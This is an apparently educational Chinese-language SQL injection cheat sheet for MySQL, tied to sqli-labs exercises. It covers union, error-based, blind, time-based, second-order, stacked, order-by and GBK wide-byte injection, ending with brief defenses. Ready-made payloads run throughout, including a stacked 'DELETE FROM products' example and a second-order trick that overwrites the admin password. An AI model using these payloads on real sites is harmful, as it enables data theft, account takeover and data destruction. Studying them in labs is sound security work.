SQL注入全方面总结
鲁迅曾经说过:
1.什么是SQL注入
SQL注入是一种通过操纵输入来修改后台SQL语句以达到利用代码进行攻击目的的技术
2.漏洞产生的前提条件
参数用户可控:
前端传给后端的参数内容是可以被用户控制的参数带入数据库查询:
传入的参数拼接到SQL语句,且带入数据库查询
3.与SQL注入相关知识点
1.在MYSQL5.0版本后,系统会默认在数据库中存放一个informa_schema
的数据库,该库中需要记住三个表名:schemata,tables,columns;
schemata
表用来存放用户创建的所有数据库的库名,需要记住数据库库名的字段名为schema_name
tables
存放数据所有数据库名和表名,记住这两个字段名table_schema
和table_name
columns
存放所有的数据库名,表名和列名,需要记住这三个字段名table_schema
,table_name
,column_name
看到上面的说明应该明白输入information_schema.tables
等字段的原因了
常用函数
- 查看当前数据库版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
2.查看数据库当前登陆用户
USER()
CURRENT_USER()
SYSTEM_USER()
SESSION_USER()
3.当前使用的数据库
DATABASE()
SCHEMA()
4.系统相关
@@BASEDIR
: mysql安装路径@@BASEDIR
: mysql安装路径@@DATADIR
: 数据存储路径@@PID_FILE
: pid-file文件路径@@LOG_ERROR
: 错误日志文件路径@@version_compile_os
:操作系统版本@@SLAVE_LOAD_TMPDIR
: 临时文件夹路径@@SLAVE_LOAD_TMPDIR
: 临时文件夹路径@@CHARACTER_SETS_DIR
: 字符集设置文件路径
5.注释符:#
或--空格
或/**/
联合数据
concat()
group_concat()
concat_ws()
concat
基本格式:concat(str1,str2)
返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。
可以有一个或多个参数。
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
concat_ws
CONCAT_WS()
代表 CONCAT With Separator
,是CONCAT()
的特殊形式。
第一个参数是其它参数的分隔符。这样参数多的话就不用手动的去添加分隔符了。
基本格式:CONCAT_WS(separator,str1,str2,…)
Separator
为字符之间的分隔符
mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1~Dumb~Dumb |
| 2~Angelina~I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
GROUP_CONCAT
将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
基本格式:GROUP_CONCAT(str1,str2,…)
mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users;
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
4.注入分类
5.基本流程(联合查询)
判断字段数目
ORDER BY 10
ORDER BY 5
ORDER BY 2
....
判断显示位
union select 1,2,3,4,5,6,7……
查看当前数据库
union select 1,2,database()
查表名
union select 1,2,table_name from information_schema.tables where
table_schema=database()
查列名
union select 1,2,column_name from information_schema.columns where
table_name='表名' and table_schema=database()
查询字段值
union select 1,字段名,字段名 from 表名
6.基于注入点属性
分为数字型和字符型,判断方法如下:
数字型判断
and 1=1
显示
and 1=2
不显示,可以判断注入点是数字型
字符型判断
and 1=1
显示
and 1=2
也显示,到这一步可以排除数字型了
接下来判断是单引号字符还是双引号字符
1.在参数后加加一个'
或者"
- 若加
'
后,不显示查询结果了,就是单引号字符型 - 若加
"
后,不显示查询结果了,就是双引号字符型
2.或者采用如下语句判断
'and 1=1#
显示
' and 1=2#
不显示,就可以断定是单引号
但是,如果参数被括号()
包裹的话:
-
如果是数字型加括号
($id)
-
?id=2 and 1=1
会显示1的查询结果 ;因为查询语句中id=(2 and 1=1)
,2 and 1=1
结果为1 -
?id=2 and 1=1
不显示;(2 and 1=2)
相与为0,查询语句变成id=(0)
-
由以上两点结合,可猜测存在
()
-
-
如果是字符型加括号
('$id')
或("$id")
,以('$id')
为例?id=2'
不显示,因为语句错误?id=2' and 1=1#
和?id=2' and 1=2#
不显示,因为有语法错误,()
没闭合- 由以上两点可以猜测可能有
()
括号判断
数字型判断括号:
- 就根据
?id=2 and 1=1
,如果返回1的查询结果,就表明有()
,相当于数据库中执行id=(2 and 1=1)
,括号里面是Bool值 - 如果返回2查询结果,表明没有
()
字符型判断括号
有两种方法:
?id=2'&&'1'='1
- 若查询语句为
where id='$id'
,查询时是where id='2'&&'1'='1'
,结果是where id='2'
,回显会是id=2
。 - 若查询语句为
where id=('$id')
,查询时是where id=('2'&&'1'='1')
,MySQL 将'2'
作为了 Bool 值,结果是where id=('1')
,回显会是id=1
。
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。
7.基于注入点位置
这些只是注入位置,不影响使用某种注入方法
GET型和POST型
想细致了解的看这篇文章GET和POST两种基本请求方法的区别
通俗的说GET注入是在地址栏传参注入
POST注入就是使用POST进行传参的注入
POST注入高危点
- 登录框
- 查询框
- 等各种和数据库有交互的框
Cookie型
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
练习题目
sqli-labs(20-22)
HTTP Head
在写网站代码的时候,编程人员会用到对应的函数,对用户提交的参数进行过滤。
但是对于http头中的提交的内容可能没有进行过滤。
例如http头的User-agent、Referer等,所以就会产生http头注入的情况。
常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;
(1) HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
(2)X-Forwarded-For: 简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP
追加在X-Forwarded-For
中
(3)X-Real-IP一般只记录真实发出请求的客户端IP,看下面的例子,
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3
代表 请求由1.1.1.1发出,经过三层代理,第一层是2.2.2.2,第二层是3.3.3.3,而本次请求的来源IP4.4.4.4是第三层代理
如果配置了X-Read-IP,将会是:
X-Real-IP: 1.1.1.1
所以 ,如果只有一层代理,这两个头的值就是一样的
(4)Accept-Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
(5)Authorization: HTTP 之 Authorization
练习题目
sali-labs(18,19)
8.基于注入程度和顺序
一阶注入
一般的注入都是一阶注入,输入构造的语句后就执行结果
一阶主要是和二阶注入进行区分
二阶注入
所谓二阶注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二阶注入也是SQL注入的一种,与我们平时接触最多的一阶SQL注入相比利用门槛更高。
普通的一阶SQL注入数据直接就进入到SQL查询中,而二阶SQL注入则是输入数据经处理后存储,然后取出数据,最后才进入到SQL查询。
二阶注入的流程如下:
· 攻击者在HTTP请求中提交某种经过构思的输入。
· 应用存储该输入(通常保存在数据库中)以便后面使用并响应请求。
· 攻击者提交第二个(不同的)请求。
· 为处理第二个请求,应用会检索已经存储的输入并处理它,从而导致攻击者注入的SQL查询被执行。
· 如果可行的话,会在应用对第二个请求的响应中向攻击者返回查询结果。
案例
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#
,那么此时的完整语句就为:sql
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此时就完全改变了语义,直接就修改掉了 admin 用户的密码。
步骤
创建一个admin'#
开头的用户名:
admin'#1
admin'#233
admin'#gg
...
注册完成后数据库的记录信息如下
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。
接下来登录 admin'#hacker
用户,然后来修改当前的密码
此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
防御策略
安全起见,如果转义,就每个地方均转义
练习题目
sqli-labs 24
9.基于从服务器返回的响应
联合查询
前面的基本流程就是联合查询的步骤
堆叠查询
原理
在PHP中,mysqli_multi_query(connection,query)
函数可以多语句查询SQL
多查询语句以;
分开,堆叠查询就是利用这个特点,在第二个SQL语句中构造自己要执行的语句
union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
可以利用堆叠注入进行增删改查等操作
堆叠注入的局限性
在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。
在读取数据时,我们建议使用union(联合)注入。
在使用堆叠注入之前,需要知道一些数据库相关信息的,例如表名,列名等信息。
oracle不能使用堆叠注入
练习题目
sali-labs(38-45)
报错注入
floor()报错
原理
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
报错语句
floor()是取整,rand()是0-1间取值
输出字符长度限制为64个字符
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
关键表被禁用了
select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2))
xpath语法报错
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
输出的字符长度有限制,最长输出32位
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码!
[0x7e 实际是是16进制,Mysql支持16进制,但是开头得写0x 0x7e是一个特殊符号,然后不符合路径规则报错] ~ ~
extractvalue()
语法: extractvalue(目标xml内容,xpath格式的字符串)
输出字符有长度限制,最长32位。
and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
updatexml与extractvalue都是基于xpath语法进行报错的,extractvalue也与其类似。
一般是配合and或者是or使用的,他和联合查询不同,不需要在意什么字段数。
exp报错
原理
exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后取反它的值总会大于709所以报错,适用版本:5.5.5,5.5.49,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错,~符号为运算符,意思为一元字符反转。
报错语句
这里必须使用嵌套,因为不使用嵌套不加select*from 无法大整数溢出
exp(~(select * from(查询语句)a))
union select exp(~(select * from(select database())a))
BIGINT溢出错误
报错语句
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
几何函数报错
报错语句
GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))
polygon():polygon((select * from(select * from(select user())a)b))
multipoint():multipoint((select * from(select * from(select user())a)b))
multilinestring():multilinestring((select * from(select * from(select user())a)b))
linestring(): LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :multipolygon((select * from(select * from(select user())a)b))
盲注
介绍
布尔盲注
- 布尔有明显的True跟Flase,也就是说它会根据你的注入信息返回Ture跟Flase,也就没有了之前的报错信息.
时间盲注
- 页面返回值只有一种Ture,无论输入认识值,返回情况都会按正常来处理.加入特定的时间函数,通过web页面返回的时间差来判断注入语句是否正确。
盲注常用函数
- length() 函数 返回字符串的长度
- substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
- scii() 返回字符的ascii码 [将字符变为数字wei]
- sleep() 将程序挂起一段时间n为n秒
- if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
注入流程
盲注
猜解当前数据库名称长度
and (length(database()))>1
利用ASCII码猜解当前数据库名称
and (ascii(substr(database(),1,1)))=115
--返回正常,说明数据库名称第一位是s
猜表名
and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101
--返回正常,说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr((select column_name from information_schema.columns where
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常,说明zkaq表中的列名称第一位是f
猜内容
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常,说明zKaQ列第一位是z
延时注入
and if(ascii(substr(database(),1,1))>1,0,sleep(5))
延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()
10.其他注入
order by 注入
它是指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']
order by是mysql中对查询数据进行排序的方法, 使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
判断注入类型
数字型order by注入时,语句order by=2 and 1=2
,和order by=2 and 1=1
显示的结果一样,所以无法用来判断注入点类型
而用rand()会显示不同的排序结果
当在字符型中用?sort=rand()
,则不会有效果,排序不会改变
因此用rand()可判断注入点类型
1.基于if语句盲注(数字型)
下面的语句只有order=$id
,数字型注入时才能生效,
order ='$id'
导致if语句变成字符串,功能失效
如下图为演示
-
字符串型时if()失效,排列顺序不改变
-
数字型时排列顺序改变
知道列名情况下
if语句返回的是字符类型,不是整型, 因此如果使用数字代替列名是不行的,如下图
这是在知道列名的前提下使用
?order=if(表达式,id,username)
- 表达式为true时,根据id排序
- 表达式为false时,根据username排序
不知道列名
id总知道吧
?order=if(表达式,1,(select id from information_schema.tables))
-
如果表达式为true时,则会返回正常的页面。
-
如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空
2.基于时间的盲注
order by if(表达式,1,sleep(1))
-
表达式为true时,正常时间显示
-
表达式false时,会延迟一段时间显示
延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。
计算公式:延迟时间=sleep(1)的秒数*所查询数据条数
如果查询的数据很多时,延迟的时间就会特别长
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
3.基于rand()的盲注(数字型)
rand() 函数可以产生随机数介于0和1之间的一个数
当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,
种子固定,则生成的数固定
order by rand
:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同
order by rand(表达式)
当表达式为true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。
4.报错注入
order by updatexml(1,if(1=2,1,(表达式)),1)
order by extractvalue(1,if(1=2,1,(表达式)));
因为1=2
,所以执行表达式内容
例如order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)
获取数据库名
若改成1=1
,则页面正常显示
练习题目
sqli-labs(46-53)
参考
[MySQL Order By 注入总结 - SecPulse.COM | 安全脉搏](
宽字节注入
概念
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c
就是一个 汉字。
因为过滤方法主要就是在敏感字符前面添加 反斜杠 \
。用于转义的函数有addslashes ,mysql_real_escape_string ,mysql_escape_string
等
宽字节注入就是PHP发送请求到MySql时使用了语句SET NAMES 'gbk'
或是SET character_set_client =gbk
进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
注入方式
1 %df
吃掉
具体的原因是 urlencode(\') = %5c%27
,我们在%5c%27
前面添加%df
,形 成%df%5c%27
,
MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
2 将 \'
中的 \
过滤掉
例如可以构造 %5c%5c%27
的情况,后面的%5c
会被前面的%5c
给注释掉。这也是 bypass 的一种方法。
post型
将 utf-8 转换为 utf-16 或 utf-32,例如将 '
转为 utf-16 为�
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:
➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'
其他情况
- UTF-8是3个字符
- GBK是2个字符
- \是1个字符
外面传参一个汉字UTF-8(3个字符)
进了数据库GBK3+1=4 >这是两个汉字
汉') or 1=1-- qwe
有的时候我们也可以用16进制来代替字符串
练习题目
sqli-labs(32-37)
防御策略
-
过滤危险字符
- 采用正则表达式匹配union,sleep,load_file等关键字,如果匹配到就退出程序
-
使用预编译语句,绑定变量
-
使用存储过程
- 先将SQL语句定义在数据库中
- 尽量避免在存储过程中使用动态SQL语句
- 若无法避免,应使用严格的输入过滤或编码函数来处理用户输入数据
-
检查数据类型
- 检查输入数据的数据类型,很大程度上可以对抗SQL注入